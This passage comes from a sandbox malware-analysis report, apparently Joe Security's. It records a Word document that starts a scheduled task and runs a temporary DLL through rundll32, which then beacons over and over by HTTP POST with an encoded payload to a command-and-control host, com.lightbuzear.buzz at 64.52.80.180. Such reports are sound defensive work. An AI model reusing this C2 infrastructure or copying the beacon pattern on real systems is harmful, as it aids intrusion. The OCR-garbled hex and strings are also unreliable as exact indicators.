58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:41:06 UTC 153 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:06 UTC 153 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
92 192.168.2.22 49264 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:41:07 UTC 153 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:07 UTC 153 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:07 UTC 154 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:07 UTC 154 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
93 192.168.2.22 49265 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:41:08 UTC 154 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:08 UTC 155 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:41:08 UTC 156 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:08 UTC 156 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
94 192.168.2.22 49266 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:41:09 UTC 156 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:09 UTC 156 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4eBEWgj+XgsaWzMhC1Y
2022-08-14 06:41:09 UTC 157 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:09 UTC 158 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
95 192.168.2.22 49267 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:41:10 UTC 158 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:10 UTC 158 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwiUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:41:11 UTC 159 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:11 UTC 159 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. I Destination
Session ID Source IP Source Port Destination IP Port Process
96 192.168.2.22 49268 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp Lo Direction Data
transferred
2022-08-14 06:41:11 UTC 159 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:11 UTC 160 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:12 UTC 161 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:12 UTC 161 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
97 192.168.2.22 49269 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:41:12 UTC 161 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:12 UTC 161 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:41:13 UTC 162 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:13 UTC 163 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
98 192.168.2.22 49270 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:41:13 UTC 163 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:41:13 UTC 163

2022-08-14 06:41:14 UTC 164

2022-08-14 06:41:14 UTC 164

Session ID Source IP
99 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:41:14 UTC 164

2022-08-14 06:41:14 UTC 165

2022-08-14 06:41:15 UTC 166

2022-08-14 06:41:15 UTC 166

Statistics

Behavior

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49271

Direction

ouT

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 7469 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:41:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
74 3276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:41:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

@ WINWORD.EXE
@ taskeng.exe
@ rundll32.exe
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System Behavior

Click to jump to process

Analysis Process: WINWORD.EXE PID: 752, Parent PID: 576

General

Target ID: 0

Start time: 08:38:15

Start date: 14/08/2022

Path: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE" /Automation -Embedding
Imagebase: 0x13fce0000

File size: 1423704 bytes

MD5 hash: 9EE74859D22DAE61F1750B3A1BACB6F5

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

File Activities

Registry Activities

Analysis Process: taskeng.exe PID: 412, Parent PID: 876

General

Target ID: 4

Start time: 08:38:36

Start date: 14/08/2022

Path: C:\Windows\System32\taskeng.exe

Wow64 process (32bit): false

Commandline: taskeng.exe {42E32873-DCC3-405E-9458-A04BFDFICD6F} S-1-5-21-966771315-3019405637-367336477-1006:user-PCluser:Interactive:[1]
Imagebase: 0xff4d0000

File size: 464384 bytes

MD5 hash: 65EA57712340C09B1B0C427B4848AE05

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities
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File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\System32\Tasks\Windows Trol unknown 2 success or wait 1 FF4D433D ReadFile
C:\Windows\System32\Tasks\Windows Trol unknown 3606 success or wait 1 FF4D43A4 ReadFile

Registry Activities

Key Value Created

Key Path Name Type Data Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\SOFT  data binary 4D 45 4F 57 01 00 00 00 E4 B7 BD 92 success or wait 1 FF4E2CB8 RegSetValueEx
WARE\Microsoft\Windows 8B F2 A0 46 B5 51 45 A5 2B DD 51 W
NT\CurrentVers 25 00 00 00 00 00 00 00 00 BO DF DB

ion\Schedule\Handshake\{42E328 12 48 EO AB 8C 57 7C A4 46 1A 1B 75

73-DCC3-405E-9458- 8E 01 8C 00 00 9C 01 00 00 82 AE 26

AO04BFDF9CD6F} A9 F5 F1 38 12 00 00 00 00

Analysis Process: rundll32.exe PID: 1748, Parent PID: 412

General

Target ID: 5

Start time: 08:38:37

Start date: 14/08/2022

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\rundll32.exe "C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dIlI",Rdwmnjioffws
Imagebase: 0xffd20000

File size: 45568 bytes

MD5 hash: DD81D91FF3B0763C392422865CIAC12E

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol

Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

. Source
Key Path Name Type Old Data New Data Completion Count A d:ress Symbol

Disassembly

@ No disassembly
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